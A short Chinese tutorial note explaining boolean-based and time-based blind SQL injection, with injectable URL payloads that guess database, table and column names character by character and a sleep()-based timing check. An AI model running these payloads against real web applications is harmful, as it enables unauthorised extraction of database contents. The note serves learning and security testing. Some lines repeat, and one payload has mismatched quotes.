sql注入--bool盲注,时间盲注
盲注定义:
有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
布尔盲注:
布尔盲注只有true跟false,也就是说它根据你的注入信息返回true和false两个,而不是返回报错信息
时间盲注:
页面返回只有一种,true,不管输入任何信息,返回信息都会按照正常来处理,加入特定的时间函数,通过查看web页面返回的时间差来查看是否存在时间盲注或语句是否正确
布尔盲注常用
length() 函数 返回字符串的长度
?id=1 and length(database())>1
substr() 截取字符串 , 从第一位截取一个
?id=1 and substr(database(),1,1)='k'
ord()/ascii() 返回字符的ascii码
?id=1 and ord(substr(database(),1,1))=107
布尔型盲注过程
猜解当前数据库名称长度:
and (length(database()))>9#
猜解当前数据库名称:
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k
and (ascii(substr(database(),1,1)))=107 返回正常,说明数据库名称第一位是k
猜表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
猜字段名:
and substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)='i' 返回正常,说明表中的列名称第一位是i
猜字段内容:
and (ascii(substr(( select '字段名' from ‘表名’ limit 0,1),1,1)))=111
时间型常用
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句
如果第一个语句正确就执行第二个语句如果错误执行第三个语句
?id=1' and If(length(database())=8,0,sleep(5))--